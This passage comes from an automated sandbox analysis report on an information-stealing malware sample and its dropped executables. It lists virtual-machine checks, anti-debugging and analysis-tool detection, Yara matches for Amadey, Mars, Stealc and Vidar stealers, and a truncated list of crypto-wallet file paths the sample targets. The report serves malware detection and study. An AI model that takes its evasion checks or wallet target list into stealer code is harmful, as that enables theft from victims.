Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Hyper-V
Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001A49000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000000A.00000002.2897406345.00000000007F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.00000000019F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.00000000019F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: xVBoxService.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: explorti.exe, 0000000A.00000002.2897406345.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VBoxService.exe
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VMWare
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 10_2_04C200B1 Start: 04C205B4 End: 04C200CA

10_2_04C200B1

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe

Code function: 6_2_04A60000 rdtsc

6_2_04A60000

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

Code function: 0_2_6C425FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C425FF0

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

Code function: 0_2_6C42C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C42C410

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00BD643B mov eax, dword ptr fs:[00000030h]		10_2_00BD643B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00BDA1A2 mov eax, dword ptr fs:[00000030h]		10_2_00BDA1A2

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3FB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C3FB66C
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3FB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C3FB1F7

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe"	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FHJKKECFIE.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe "C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior

Source: CAEHDBAAEC.exe, CAEHDBAAEC.exe, 00000006.00000002.1925142002.000000000072D000.00000040.00000001.01000000.00000009.sdmp

Binary or memory string: %Program Manager

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

Code function: 0_2_6C3FB341 cpuid

0_2_6C3FB341

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

Code function: 0_2_6C3C35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C3C35A0

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 6.2.CAEHDBAAEC.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.explorti.exe.ba0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.explorti.exe.ba0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.explorti.exe.ba0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000003.2332547916.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1921777147.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1924963108.0000000000531000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2373035840.0000000000BA1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1884034371.0000000004850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1962404330.0000000000BA1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2898835808.0000000000BA1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1920034287.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1858205526.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1860013089.00000000019F4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1jPL5zru3u.exe PID: 6980, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1858205526.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1jPL5zru3u.exe PID: 6980, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia 